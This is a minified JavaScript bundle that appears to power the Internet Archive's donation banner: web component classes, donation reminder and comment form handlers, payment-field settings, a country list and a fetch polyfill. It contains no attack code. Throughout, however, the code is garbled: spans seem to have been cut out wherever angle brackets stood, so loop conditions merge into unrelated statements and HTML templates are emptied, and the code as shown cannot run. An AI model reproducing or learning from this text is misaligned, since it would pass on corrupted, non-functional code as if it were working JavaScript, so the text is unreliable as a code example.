t=arguments.length,n=new Array(t>1?t-1:0),o=1;o1&&void 0!==arguments[1]?arguments[1]:-1,n=t+1;n2&&void 0!==arguments[2]?arguments[2]:null,o=e.element.content,r=e.parts;if(null!=n)for(var a=document.createTreeWalker(o,I,null,!1),i=F(r),s=0,c=-1;a.nextNode();)for(c++,a.currentNode===n&&(s=R(t),n.parentNode.insertBefore(t,n));-1!==i&&r[i].index===c;){if(s>0){for(;-1!==i;)r[i].index+=s,i=F(r,i);return}i=F(r,i)}else o.appendChild(t)}(n,i,l.firstChild):l.insertBefore(i,l.firstChild),window.ShadyCSS.prepareTemplateStyles(o,e);var u=l.querySelector("style");if(window.ShadyCSS.nativeShadow&&null!==u)t.insertBefore(u.cloneNode(!0),t.firstChild);else if(n){l.insertBefore(i,l.firstChild);var d=new Set;d.add(i),U(n,d)}}else window.ShadyCSS.prepareTemplateStyles(o,e)};window.JSCompiler_renameProperty=function(e,t){return e};var W={toAttribute:function(e,t){switch(t){case Boolean:return e?"":null;case Object:case Array:return null==e?e:JSON.stringify(e)}return e},fromAttribute:function(e,t){switch(t){case Boolean:return null!==e;case Number:return null===e?null:Number(e);case Object:case Array:return JSON.parse(e)}return e}},J=function(e,t){return t!==e&&(t==t||e==e)},K={attribute:!0,type:String,converter:W,reflect:!1,hasChanged:J},Y=Promise.resolve(!0),Z=function(e){function t(){var e;return Object(o.b)(this,t),(e=Object(o.f)(this,Object(o.g)(t).call(this)))._updateState=0,e._instanceProperties=void 0,e._updatePromise=Y,e._hasConnectedResolver=void 0,e._changedProperties=new Map,e._reflectingProperties=void 0,e.initialize(),e}var n;return Object(o.e)(t,e),Object(o.c)(t,[{key:"initialize",value:function(){this._saveInstanceProperties(),this._requestUpdate()}},{key:"_saveInstanceProperties",value:function(){var e=this;this.constructor._classProperties.forEach(function(t,n){if(e.hasOwnProperty(n)){var o=e[n];delete e[n],e._instanceProperties||(e._instanceProperties=new Map),e._instanceProperties.set(n,o)}})}},{key:"_applyInstanceProperties",value:function(){var e=this;this._instanceProperties.forEach(function(t,n){return e[n]=t}),this._instanceProperties=void 0}},{key:"connectedCallback",value:function(){this._updateState=32|this._updateState,this._hasConnectedResolver&&(this._hasConnectedResolver(),this._hasConnectedResolver=void 0)}},{key:"disconnectedCallback",value:function(){}},{key:"attributeChangedCallback",value:function(e,t,n){t!==n&&this._attributeToProperty(e,n)}},{key:"_propertyToAttribute",value:function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:K,o=this.constructor,r=o._attributeNameForProperty(e,n);if(void 0!==r){var a=o._propertyValueToAttribute(t,n);if(void 0===a)return;this._updateState=8|this._updateState,null==a?this.removeAttribute(r):this.setAttribute(r,a),this._updateState=-9&this._updateState}}},{key:"_attributeToProperty",value:function(e,t){if(!(8&this._updateState)){var n=this.constructor,o=n._attributeToPropertyMap.get(e);if(void 0!==o){var r=n._classProperties.get(o)||K;this._updateState=16|this._updateState,this[o]=n._propertyValueFromAttribute(t,r),this._updateState=-17&this._updateState}}}},{key:"_requestUpdate",value:function(e,t){var n=!0;if(void 0!==e){var o=this.constructor,r=o._classProperties.get(e)||K;o._valueHasChanged(this[e],t,r.hasChanged)?(this._changedProperties.has(e)||this._changedProperties.set(e,t),!0!==r.reflect||16&this._updateState||(void 0===this._reflectingProperties&&(this._reflectingProperties=new Map),this._reflectingProperties.set(e,r))):n=!1}!this._hasRequestedUpdate&&n&&this._enqueueUpdate()}},{key:"requestUpdate",value:function(e,t){return this._requestUpdate(e,t),this.updateComplete}},{key:"_enqueueUpdate",value:(n=Object(o.j)(regeneratorRuntime.mark(function e(){var t,n,o,r,a=this;return regeneratorRuntime.wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return this._updateState=4|this._updateState,o=this._updatePromise,this._updatePromise=new Promise(function(e,o){t=e,n=o}),e.prev=3,e.next=6,o;case 6:e.next=10;break;case 8:e.prev=8,e.t0=e.catch(3);case 10:if(this._hasConnected){e.next=13;break}return e.next=13,new Promise(function(e){return a._hasConnectedResolver=e});case 13:if(e.prev=13,null==(r=this.performUpdate())){e.next=18;break}return e.next=18,r;case 18:e.next=23;break;case 20:e.prev=20,e.t1=e.catch(13),n(e.t1);case 23:t(!this._hasRequestedUpdate);case 24:case"end":return e.stop()}},e,this,[[3,8],[13,20]])})),function(){return n.apply(this,arguments)})},{key:"performUpdate",value:function(){this._instanceProperties&&this._applyInstanceProperties();var e=!1,t=this._changedProperties;try{(e=this.shouldUpdate(t))&&this.update(t)}catch(t){throw e=!1,t}finally{this._markUpdated()}e&&(1&this._updateState||(this._updateState=1|this._updateState,this.firstUpdated(t)),this.updated(t))}},{key:"_markUpdated",value:function(){this._changedProperties=new Map,this._updateState=-5&this._updateState}},{key:"_getUpdateComplete",value:function(){return this._updatePromise}},{key:"shouldUpdate",value:function(e){return!0}},{key:"update",value:function(e){var t=this;void 0!==this._reflectingProperties&&this._reflectingProperties.size>0&&(this._reflectingProperties.forEach(function(e,n){return t._propertyToAttribute(n,t[n],e)}),this._reflectingProperties=void 0)}},{key:"updated",value:function(e){}},{key:"firstUpdated",value:function(e){}},{key:"_hasConnected",get:function(){return 32&this._updateState}},{key:"_hasRequestedUpdate",get:function(){return 4&this._updateState}},{key:"hasUpdated",get:function(){return 1&this._updateState}},{key:"updateComplete",get:function(){return this._getUpdateComplete()}}],[{key:"_ensureClassProperties",value:function(){var e=this;if(!this.hasOwnProperty(JSCompiler_renameProperty("_classProperties",this))){this._classProperties=new Map;var t=Object.getPrototypeOf(this)._classProperties;void 0!==t&&t.forEach(function(t,n){return e._classProperties.set(n,t)})}}},{key:"createProperty",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:K;if(this._ensureClassProperties(),this._classProperties.set(e,t),!t.noAccessor&&!this.prototype.hasOwnProperty(e)){var n="symbol"===Object(o.a)(e)?Symbol():"__".concat(e);Object.defineProperty(this.prototype,e,{get:function(){return this[n]},set:function(t){var o=this[e];this[n]=t,this._requestUpdate(e,o)},configurable:!0,enumerable:!0})}}},{key:"finalize",value:function(){var e=Object.getPrototypeOf(this);if(e.hasOwnProperty("finalized")||e.finalize(),this.finalized=!0,this._ensureClassProperties(),this._attributeToPropertyMap=new Map,this.hasOwnProperty(JSCompiler_renameProperty("properties",this))){var t=this.properties,n=[].concat(Object(o.d)(Object.getOwnPropertyNames(t)),Object(o.d)("function"==typeof Object.getOwnPropertySymbols?Object.getOwnPropertySymbols(t):[])),r=!0,a=!1,i=void 0;try{for(var s,c=n[Symbol.iterator]();!(r=(s=c.next()).done);r=!0){var l=s.value;this.createProperty(l,t[l])}}catch(e){a=!0,i=e}finally{try{r||null==c.return||c.return()}finally{if(a)throw i}}}}},{key:"_attributeNameForProperty",value:function(e,t){var n=t.attribute;return!1===n?void 0:"string"==typeof n?n:"string"==typeof e?e.toLowerCase():void 0}},{key:"_valueHasChanged",value:function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:J;return n(e,t)}},{key:"_propertyValueFromAttribute",value:function(e,t){var n=t.type,o=t.converter||W,r="function"==typeof o?o:o.fromAttribute;return r?r(e,n):e}},{key:"_propertyValueToAttribute",value:function(e,t){if(void 0!==t.reflect){var n=t.type,o=t.converter;return(o&&o.toAttribute||W.toAttribute)(e,n)}}},{key:"observedAttributes",get:function(){var e=this;this.finalize();var t=[];return this._classProperties.forEach(function(n,o){var r=e._attributeNameForProperty(o,n);void 0!==r&&(e._attributeToPropertyMap.set(r,o),t.push(r))}),t}}]),t}(Object(o.i)(HTMLElement));Z.finalized=!0;var Q="adoptedStyleSheets"in Document.prototype&&"replace"in CSSStyleSheet.prototype,X=Symbol(),ee=function(){function e(t,n){if(Object(o.b)(this,e),n!==X)throw new Error("CSSResult is not constructable. Use `unsafeCSS` or `css` instead.");this.cssText=t}return Object(o.c)(e,[{key:"toString",value:function(){return this.cssText}},{key:"styleSheet",get:function(){return void 0===this._styleSheet&&(Q?(this._styleSheet=new CSSStyleSheet,this._styleSheet.replaceSync(this.cssText)):this._styleSheet=null),this._styleSheet}}]),e}(),te=function(e){if(e instanceof ee)return e.cssText;if("number"==typeof e)return e;throw new Error("Value passed to 'css' function must be a 'css' function result: ".concat(e,". Use 'unsafeCSS' to pass non-literal values, but\n take care to ensure page security."))},ne=function(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),o=1;o1&&void 0!==arguments[1]?arguments[1]:[],o=0,r=t.length;o0&&e.split("&").forEach(function(e){var n=o(e.split("="),2),r=n[0],a=n[1];t[r]=decodeURIComponent(a)}),t}},3:function(e,t,n){"use strict";function o(e){return(o="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function r(e,t,n,o,r,a,i){try{var s=e[a](i),c=s.value}catch(e){return void n(e)}s.done?t(c):Promise.resolve(c).then(o,r)}function a(e){return function(){var t=this,n=arguments;return new Promise(function(o,a){var i=e.apply(t,n);function s(e){r(i,o,a,s,c,"next",e)}function c(e){r(i,o,a,s,c,"throw",e)}s(void 0)})}}function i(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function s(e,t){for(var n=0;n2&&void 0!==arguments[2]?arguments[2]:{},o=document.getElementsByTagName("head")[0],r=document.createElement("script");r.src=e,r.type="text/javascript",Object.keys(n).forEach(function(e){return r.setAttribute(e,n[e])}),r.onload=t,r.onreadystatechange=function(){"complete"===r.readyState&&t()},o.appendChild(r)};function i(e,t){for(var n=0;n&:?'"]/.test(e)}}],(n=[{key:"bindEvents",value:function(){var t=this,n=$("#donate_dropdown"),o=$("#close_donate_dropdown"),r=this.$form.attr("data-base-url")||"https://archive.org";this.$trigger.on("click.".concat("RemindForm"),function(e){n.hasClass("is-open")||n.addClass("is-open"),t.$form.find("input").filter(function(e,t){return!t.value}).eq(0).focus(),e.preventDefault()}),o.on("click.".concat("RemindForm"),function(){n.removeClass("is-open"),t.$trigger.focus()}),$(window).on("keydown.".concat("RemindForm"),function(e){n.hasClass("is-open")&&27===e.keyCode&&o.click()}),this.$form.on("submit.".concat("RemindForm"),function(n){if(n.preventDefault(),e.validateDonorEmail(t.$form.find("[name=email]").val())){["first-name","last-name"].forEach(function(n){e.validateNameField(t.$form.find("[name='".concat(n,"']")).val())||t.$form.find("[name='".concat(n,"']")).val("")});var o=t.$trigger.attr("data-source-context")||"";"undefined"!=typeof archive_analytics&&archive_analytics.send_event("DonateBanner".concat(o),"MaybeLaterFormSubmit",window.location.pathname,{service:"ao_no_sampling"}),t.sendForm(r)}else t.$form.find(".error-email").show()})}},{key:"sendForm",value:function(e){var t=this,n=$("#donate_reminder_success").addClass("hidden"),o=function(e,t){return"

    ".concat(e,"

    ").concat(t,"

    ")};$.ajax({type:"post",url:"".concat(e,"/donate/remindDonate.php"),data:this.$form.serialize(),success:function(){t.$form.addClass("hidden"),n.html(o("Thank You!","Your reminder has been set.")).removeClass("hidden"),t.setDonationCookie(45)},error:function(){n.html(o("Hmmm...","Something is amiss. Can you try again in a little while?")).removeClass("hidden")}})}}])&&i(t.prototype,n),o&&i(t,o),e}();window.RemindForm=s;var c={errorSelector:"#comment-error",namespace:"comment_form",renderError:function(e){var t=this;$("

    ",{id:this.errorSelector.replace(/^#/,""),text:"Please correct the marked fields. All fields are required."}).prependTo(this.$form),e.forEach(function(e){t.$form.find("#".concat(e)).addClass("error")})},renderSubmitError:function(){$("

    ",{id:this.errorSelector.replace(/^#/,""),html:'Whoops! Something didn\'t work quite right. You can always email donations@archive.org with your comment instead.'}).prependTo(this.$form)},renderNewsletterError:function(){this.$form.find("#newsletter-error").css({color:"red"}).html("*Please provide your email above")},removeError:function(){this.$form.find(".error").removeClass("error"),this.$form.find(this.errorSelector).remove()},sendComment:function(){return $.ajax({url:this.$form.attr("action"),type:this.$form.attr("method"),data:this.$form.serialize()})},disableSubmit:function(){this.$element.off(".".concat(this.namespace)).on("submit.".concat(this.namespace),!1),this.$element.find(":submit").attr("disabled",!0)},enableSubmit:function(){this.$element.add(this.$form).off(".".concat(this.namespace)),this.bindEvents(),this.$element.find(":submit").removeAttr("disabled")},handleSubmit:function(e){var t=this;e.preventDefault();var n=this.$form.find("#newsletter").is(":checked"),o=this.$form.find("#contact").val(),r=[];if(this.disableSubmit(),this.removeError(),["name","contact","comment"].forEach(function(e){t.$form.find("#".concat(e)).val()||r.push(e)}),n&&!o&&(this.renderNewsletterError(),this.enableSubmit()),r.length)return this.renderError(r),void this.enableSubmit();this.sendComment().done(this.renderThankYou.bind(this)).fail(this.renderAjaxError.bind(this))},renderThankYou:function(e){var t=this.$form.find("#newsletter").is(":checked");this.$element.html('\n

    \n

    Thank you again for your support!

    \n '.concat(e.subscription_updated?'

    We have updated your preferences, feel free to go to your settings and change anytime.

    ':"","\n ").concat(!e.subscription_updated&&t?"

    Thanks also for subscribing to our newsletter. We are excited to bring you updates on what's happening around the archive.

    ":"",'\n

    Your comment has been submitted.

    \n

    You will be redirected to archive.org in 10 seconds.

    \n
    \n ')),setTimeout(function(){window.location="https://archive.org"},1e4)},renderAjaxError:function(e,t){this.enableSubmit(),this.renderSubmitError(),Object(r.a)("CommentForm.sendComment - error: ".concat(t))},bindEvents:function(){this.$form.on("submit.".concat(this.namespace),this.handleSubmit.bind(this))},init:function(){this.$element=$(".body-section"),this.$form=this.$element.find("#post-donation-survey"),this.$form.length&&this.bindEvents()}},l={input:{"font-size":"14px","font-family":'"Helvetica Neue", Helvetica, Arial, sans-serif',"font-weight":"700",color:"#333"},":focus":{color:"#333"},".valid":{},".invalid":{color:"#b00b00"}},u={number:{selector:"#bt_card-number",placeholder:"Card number"},cvv:{selector:"#bt_cvv",placeholder:"CVC"},expirationDate:{selector:"#bt_expiration",placeholder:"MM / YY"}},d={HOSTED_FIELDS_FIELDS_EMPTY:"Some payment information below is missing or incorrect.",HOSTED_FIELDS_FIELDS_INVALID:"Some payment information below is missing or incorrect.",defaultMessage:"We're sorry, but we were unable to process your donation. Please contact donations@archive.org for assistance."},p={AF:"Afghanistan",AX:"Aland Islands",AL:"Albania",DZ:"Algeria",AS:"American Samoa",AD:"Andorra",AO:"Angola",AI:"Anguilla",AQ:"Antarctica",AG:"Antigua and Barbuda",AR:"Argentina",AM:"Armenia",AW:"Aruba",AU:"Australia",AT:"Austria",AZ:"Azerbaijan",BS:"Bahamas",BH:"Bahrain",BD:"Bangladesh",BB:"Barbados",BY:"Belarus",BE:"Belgium",BZ:"Belize",BJ:"Benin",BM:"Bermuda",BT:"Bhutan",BO:"Bolivia",BQ:"Bonaire, Saint Eustatius and Saba ",BA:"Bosnia and Herzegovina",BW:"Botswana",BV:"Bouvet Island",BR:"Brazil",IO:"British Indian Ocean Territory",VG:"British Virgin Islands",BN:"Brunei",BG:"Bulgaria",BF:"Burkina Faso",BI:"Burundi",KH:"Cambodia",CM:"Cameroon",CA:"Canada",CV:"Cape Verde",KY:"Cayman Islands",CF:"Central African Republic",TD:"Chad",CL:"Chile",CN:"China",CX:"Christmas Island",CC:"Cocos Islands",CO:"Colombia",KM:"Comoros",CK:"Cook Islands",CR:"Costa Rica",HR:"Croatia",CU:"Cuba",CW:"Curacao",CY:"Cyprus",CZ:"Czech Republic",CD:"Democratic Republic of the Congo",DK:"Denmark",DJ:"Djibouti",DM:"Dominica",DO:"Dominican Republic",TL:"East Timor",EC:"Ecuador",EG:"Egypt",SV:"El Salvador",GQ:"Equatorial Guinea",ER:"Eritrea",EE:"Estonia",ET:"Ethiopia",FK:"Falkland Islands",FO:"Faroe Islands",FJ:"Fiji",FI:"Finland",FR:"France",GF:"French Guiana",PF:"French Polynesia",TF:"French Southern Territories",GA:"Gabon",GM:"Gambia",GE:"Georgia",DE:"Germany",GH:"Ghana",GI:"Gibraltar",GR:"Greece",GL:"Greenland",GD:"Grenada",GP:"Guadeloupe",GU:"Guam",GT:"Guatemala",GG:"Guernsey",GN:"Guinea",GW:"Guinea-Bissau",GY:"Guyana",HT:"Haiti",HM:"Heard Island and McDonald Islands",HN:"Honduras",HK:"Hong Kong",HU:"Hungary",IS:"Iceland",IN:"India",ID:"Indonesia",IR:"Iran",IQ:"Iraq",IE:"Ireland",IM:"Isle of Man",IL:"Israel",IT:"Italy",CI:"Ivory Coast",JM:"Jamaica",JP:"Japan",JE:"Jersey",JO:"Jordan",KZ:"Kazakhstan",KE:"Kenya",KI:"Kiribati",XK:"Kosovo",KW:"Kuwait",KG:"Kyrgyzstan",LA:"Laos",LV:"Latvia",LB:"Lebanon",LS:"Lesotho",LR:"Liberia",LY:"Libya",LI:"Liechtenstein",LT:"Lithuania",LU:"Luxembourg",MO:"Macao",MK:"Macedonia",MG:"Madagascar",MW:"Malawi",MY:"Malaysia",MV:"Maldives",ML:"Mali",MT:"Malta",MH:"Marshall Islands",MQ:"Martinique",MR:"Mauritania",MU:"Mauritius",YT:"Mayotte",MX:"Mexico",FM:"Micronesia",MD:"Moldova",MC:"Monaco",MN:"Mongolia",ME:"Montenegro",MS:"Montserrat",MA:"Morocco",MZ:"Mozambique",MM:"Myanmar",NA:"Namibia",NR:"Nauru",NP:"Nepal",NL:"Netherlands",NC:"New Caledonia",NZ:"New Zealand",NI:"Nicaragua",NE:"Niger",NG:"Nigeria",NU:"Niue",NF:"Norfolk Island",KP:"North Korea",MP:"Northern Mariana Islands",NO:"Norway",OM:"Oman",PK:"Pakistan",PW:"Palau",PS:"Palestinian Territory",PA:"Panama",PG:"Papua New Guinea",PY:"Paraguay",PE:"Peru",PH:"Philippines",PN:"Pitcairn",PL:"Poland",PT:"Portugal",PR:"Puerto Rico",QA:"Qatar",CG:"Republic of the Congo",RE:"Reunion",RO:"Romania",RU:"Russia",RW:"Rwanda",BL:"Saint Barthelemy",SH:"Saint Helena",KN:"Saint Kitts and Nevis",LC:"Saint Lucia",MF:"Saint Martin",PM:"Saint Pierre and Miquelon",VC:"Saint Vincent and the Grenadines",WS:"Samoa",SM:"San Marino",ST:"Sao Tome and Principe",SA:"Saudi Arabia",SN:"Senegal",RS:"Serbia",SC:"Seychelles",SL:"Sierra Leone",SG:"Singapore",SX:"Sint Maarten",SK:"Slovakia",SI:"Slovenia",SB:"Solomon Islands",SO:"Somalia",ZA:"South Africa",GS:"South Georgia and the South Sandwich Islands",KR:"South Korea",SS:"South Sudan",ES:"Spain",LK:"Sri Lanka",SD:"Sudan",SR:"Suriname",SJ:"Svalbard and Jan Mayen",SZ:"Swaziland",SE:"Sweden",CH:"Switzerland",SY:"Syria",TW:"Taiwan",TJ:"Tajikistan",TZ:"Tanzania",TH:"Thailand",TG:"Togo",TK:"Tokelau",TO:"Tonga",TT:"Trinidad and Tobago",TN:"Tunisia",TR:"Turkey",TM:"Turkmenistan",TC:"Turks and Caicos Islands",TV:"Tuvalu",VI:"U.S. Virgin Islands",UG:"Uganda",UA:"Ukraine",AE:"United Arab Emirates",GB:"United Kingdom",UM:"United States Minor Outlying Islands",US:"United States",UY:"Uruguay",UZ:"Uzbekistan",VU:"Vanuatu",VA:"Vatican",VE:"Venezuela",VN:"Vietnam",WF:"Wallis and Futuna",EH:"Western Sahara",YE:"Yemen",ZM:"Zambia",ZW:"Zimbabwe"},f=n(12);function h(e){return(h="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function m(){var e=v(["\n .processing-image svg {\n margin: auto;\n width: 75px;\n height: 75px;\n }\n\n .progress-indicator {\n opacity: 0;\n transition: opacity 0.25s ease-out;\n }\n\n .loading .progress-indicator {\n opacity: 1;\n }\n\n .loaded-indicator {\n opacity: 1;\n transition: opacity 0.25s ease-out;\n }\n\n .loading .loaded-indicator {\n opacity: 0;\n }\n\n .image {\n border: 1px solid red;\n display: inline-block;\n }\n\n .loading #progress-ring {\n animation: rotate 1.3s infinite linear;\n transform-origin: 50px 50px;\n transform-box: fill-box;\n }\n\n .loading #left-dot {\n opacity: 0;\n animation: dot 1.3s infinite;\n animation-delay: 0.2s;\n }\n\n .loading #middle-dot {\n opacity: 0;\n animation: dot 1.3s infinite;\n animation-delay: 0.4s;\n }\n\n .loading #right-dot {\n opacity: 0;\n animation: dot 1.3s infinite;\n animation-delay: 0.6s;\n }\n\n @keyframes rotate {\n 0% {\n transform: rotate(-360deg);\n }\n }\n\n @keyframes dot {\n 0% {\n opacity: 0;\n }\n 25% {\n opacity: 1;\n }\n 100% {\n opacity: 0;\n }\n }\n "]);return m=function(){return e},e}function y(){var e=v(['\n
    \n \n \n \n \n \n \n \n \n \n \n \n \n
    \n ']);return y=function(){return e},e}function v(e,t){return t||(t=e.slice(0)),Object.freeze(Object.defineProperties(e,{raw:{value:Object.freeze(t)}}))}function b(e,t){return!t||"object"!==h(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function g(e){return(g=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function _(e,t){for(var n=0;n\n Close\n Close Button\n \n \n \n \n']);return C=function(){return e},e}customElements.define("donation-processing-image",P);var O=Object(f.c)(C());function E(e){return(E="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function j(){var e=D(["\n :host {\n display: none;\n overflow: auto;\n overflow-y: scroll;\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: 1040;\n font-family: 'Helvetica Neue', Helvetica, sans-serif;\n }\n\n :host([visible]) {\n display: block;\n }\n\n .hidden {\n display: none;\n }\n\n .modal-wrapper {\n height: 100%;\n margin: auto;\n }\n\n .head-spacer {\n height: 50px;\n }\n\n .modal-container {\n margin: auto auto 50px;\n z-index: 1050;\n width: 300px;\n border-radius: 5px;\n box-shadow: 0 12px 30px 0 rgba(0, 0, 0, 0.5), inset 0 1px 0 0 hsla(0, 0%, 100%, .65);\n }\n\n header {\n position: relative;\n background-color: #36A483;\n color: white;\n border-radius: 5px 5px 0 0;\n border: 1px solid #333;\n border-bottom: 0;\n text-align: center;\n padding-bottom: 0.5em;\n }\n\n header h1 {\n margin: 0;\n padding: 0;\n padding-top: 0.25em;\n font-size: 18px;\n font-weight: bold;\n }\n\n header h2 {\n margin: 0;\n padding: 0;\n font-weight: normal;\n padding-top: 0;\n font-size: 12px;\n }\n\n .body {\n background-color: #f5f5f7;\n border-radius: 0 0 5px 5px;\n border: 1px solid #333;\n border-top: 0;\n padding: 10px;\n color: #333;\n }\n\n .headline {\n font-size: 18px;\n font-weight: bold;\n text-align: center;\n line-height: 1.2em;\n margin: 0;\n padding: 0.5rem 0 1rem 0;\n }\n\n .message {\n margin: 0.5rem 0 0 0;\n text-align: center;\n font-size: 14px;\n line-height: 1.4em;\n }\n\n .logo-icon img {\n border-radius: 100%;\n border: 3px solid #fff;\n box-shadow: 0 0 0 1px rgba(0,0,0,.18), 0 2px 2px 0 rgba(0,0,0,.08);\n margin-top: -29px;\n width: 65px;\n }\n\n .close-button {\n position: absolute;\n right: 16px;\n top: 16px;\n width: 18px;\n height: 18px;\n border-radius: 100%;\n border: 0;\n padding: 0;\n cursor: pointer;\n }\n\n .processing-logo {\n margin: auto;\n width: 75px;\n height: 75px;\n }\n "]);return j=function(){return e},e}function x(){var e=D(['

    ',"

    "]);return x=function(){return e},e}function A(){var e=D(['

    ',"

    "]);return A=function(){return e},e}function T(){var e=D(['\n
    \n
    \n
    \n
    \n
    \n
    \n \n
    \n
    \n
    \n ']);return T=function(){return e},e}function D(e,t){return t||(t=e.slice(0)),Object.freeze(Object.defineProperties(e,{raw:{value:Object.freeze(t)}}))}function M(e,t){return!t||"object"!==E(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function B(e){return(B=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function N(e,t){for(var n=0;n\n\n \n
    \n \n
    \n
    \n \n
    \n \n
    \n \n \n \n
    \n \n
    \n \n \n \n \n
    \n \n \n \n \n
    \n \n
    \n \n
    \n
    \n
    \n

    \n
    \n
    \n \n
    \n
    \n \n
    \n \n
    \n
    \n \n \n \n \n \n \n
    \n
    \n \n
    \n \n\n \n ')};var L=function(e){var t=e.method,n=void 0===t?"POST":t,o=e.fields,r=e.action,a=$("
    ",{action:r,method:n,css:{display:"none"},target:"_top"}).appendTo(document.body);Object.keys(o).forEach(function(e){$("",{type:"text",name:e,value:o[e]}).appendTo(a)}),a.submit()},q=n(0);function z(e,t){for(var n=0;n1&&void 0!==arguments[1]?arguments[1]:0;Object(r.a)("postin",{event:t,incomingValue:n});var o=e.get_banner_height(),a=e.preventResizeEventResponse?e.calculateBannerWithReminderForm():0,i=Math.max(a,n);window.parent.postMessage(JSON.stringify({event:t,value:i,bannerHeight:o}),"*"),"close modal"===t&&e.adjust_height()}},{key:"openReminderForm",value:function(){e.preventResizeEventResponse=!0,e.postMessage("set height"),window.scrollTo(0,0)}},{key:"closeReminderForm",value:function(){e.preventResizeEventResponse=!1,e.postMessage("close modal"),window.scrollTo(0,0)}},{key:"calculateBannerWithReminderForm",value:function(){var e=document.querySelector(".js-donate-banner"),t=document.querySelector(".js-donate-form"),n=document.querySelector(".js-donate-dropdown"),o=e.offsetHeight,r=n.offsetHeight;return o-(o-(t.offsetHeight+t.offsetTop))+r+15}},{key:"adjust_height",value:function(){var t=e.get_banner_height();e.postMessage("set height",t),Object(r.a)({banner_height:t})}},{key:"init",value:function(){Object(r.a)("donato tornado"),$(window).on("resize orientationchange",function(){clearTimeout(e.adjust_height_throttler),e.adjust_height_throttler=setTimeout(e.adjust_height,100)}),e.adjust_height()}}],(n=null)&&z(t.prototype,n),o&&z(t,o),e}();V.preventResizeEventResponse=!1,$(V.init);var H=V,G={searchParams:"URLSearchParams"in self,iterable:"Symbol"in self&&"iterator"in Symbol,blob:"FileReader"in self&&"Blob"in self&&function(){try{return new Blob,!0}catch(e){return!1}}(),formData:"FormData"in self,arrayBuffer:"ArrayBuffer"in self};if(G.arrayBuffer)var W=["[object Int8Array]","[object Uint8Array]","[object Uint8ClampedArray]","[object Int16Array]","[object Uint16Array]","[object Int32Array]","[object Uint32Array]","[object Float32Array]","[object Float64Array]"],J=ArrayBuffer.isView||function(e){return e&&W.indexOf(Object.prototype.toString.call(e))>-1};function K(e){if("string"!=typeof e&&(e=String(e)),/[^a-z0-9\-#$%&'*+.^_`|~]/i.test(e))throw new TypeError("Invalid character in header field name");return e.toLowerCase()}function Y(e){return"string"!=typeof e&&(e=String(e)),e}function Z(e){var t={next:function(){var t=e.shift();return{done:void 0===t,value:t}}};return G.iterable&&(t[Symbol.iterator]=function(){return t}),t}function Q(e){this.map={},e instanceof Q?e.forEach(function(e,t){this.append(t,e)},this):Array.isArray(e)?e.forEach(function(e){this.append(e[0],e[1])},this):e&&Object.getOwnPropertyNames(e).forEach(function(t){this.append(t,e[t])},this)}function X(e){if(e.bodyUsed)return Promise.reject(new TypeError("Already read"));e.bodyUsed=!0}function ee(e){return new Promise(function(t,n){e.onload=function(){t(e.result)},e.onerror=function(){n(e.error)}})}function te(e){var t=new FileReader,n=ee(t);return t.readAsArrayBuffer(e),n}function ne(e){if(e.slice)return e.slice(0);var t=new Uint8Array(e.byteLength);return t.set(new Uint8Array(e)),t.buffer}function oe(){return this.bodyUsed=!1,this._initBody=function(e){var t;this._bodyInit=e,e?"string"==typeof e?this._bodyText=e:G.blob&&Blob.prototype.isPrototypeOf(e)?this._bodyBlob=e:G.formData&&FormData.prototype.isPrototypeOf(e)?this._bodyFormData=e:G.searchParams&&URLSearchParams.prototype.isPrototypeOf(e)?this._bodyText=e.toString():G.arrayBuffer&&G.blob&&((t=e)&&DataView.prototype.isPrototypeOf(t))?(this._bodyArrayBuffer=ne(e.buffer),this._bodyInit=new Blob([this._bodyArrayBuffer])):G.arrayBuffer&&(ArrayBuffer.prototype.isPrototypeOf(e)||J(e))?this._bodyArrayBuffer=ne(e):this._bodyText=e=Object.prototype.toString.call(e):this._bodyText="",this.headers.get("content-type")||("string"==typeof e?this.headers.set("content-type","text/plain;charset=UTF-8"):this._bodyBlob&&this._bodyBlob.type?this.headers.set("content-type",this._bodyBlob.type):G.searchParams&&URLSearchParams.prototype.isPrototypeOf(e)&&this.headers.set("content-type","application/x-www-form-urlencoded;charset=UTF-8"))},G.blob&&(this.blob=function(){var e=X(this);if(e)return e;if(this._bodyBlob)return Promise.resolve(this._bodyBlob);if(this._bodyArrayBuffer)return Promise.resolve(new Blob([this._bodyArrayBuffer]));if(this._bodyFormData)throw new Error("could not read FormData body as blob");return Promise.resolve(new Blob([this._bodyText]))},this.arrayBuffer=function(){return this._bodyArrayBuffer?X(this)||Promise.resolve(this._bodyArrayBuffer):this.blob().then(te)}),this.text=function(){var e,t,n,o=X(this);if(o)return o;if(this._bodyBlob)return e=this._bodyBlob,t=new FileReader,n=ee(t),t.readAsText(e),n;if(this._bodyArrayBuffer)return Promise.resolve(function(e){for(var t=new Uint8Array(e),n=new Array(t.length),o=0;o-1?o:n),this.mode=t.mode||this.mode||null,this.signal=t.signal||this.signal,this.referrer=null,("GET"===this.method||"HEAD"===this.method)&&r)throw new TypeError("Body not allowed for GET or HEAD requests");this._initBody(r)}function ie(e){var t=new FormData;return e.trim().split("&").forEach(function(e){if(e){var n=e.split("="),o=n.shift().replace(/\+/g," "),r=n.join("=").replace(/\+/g," 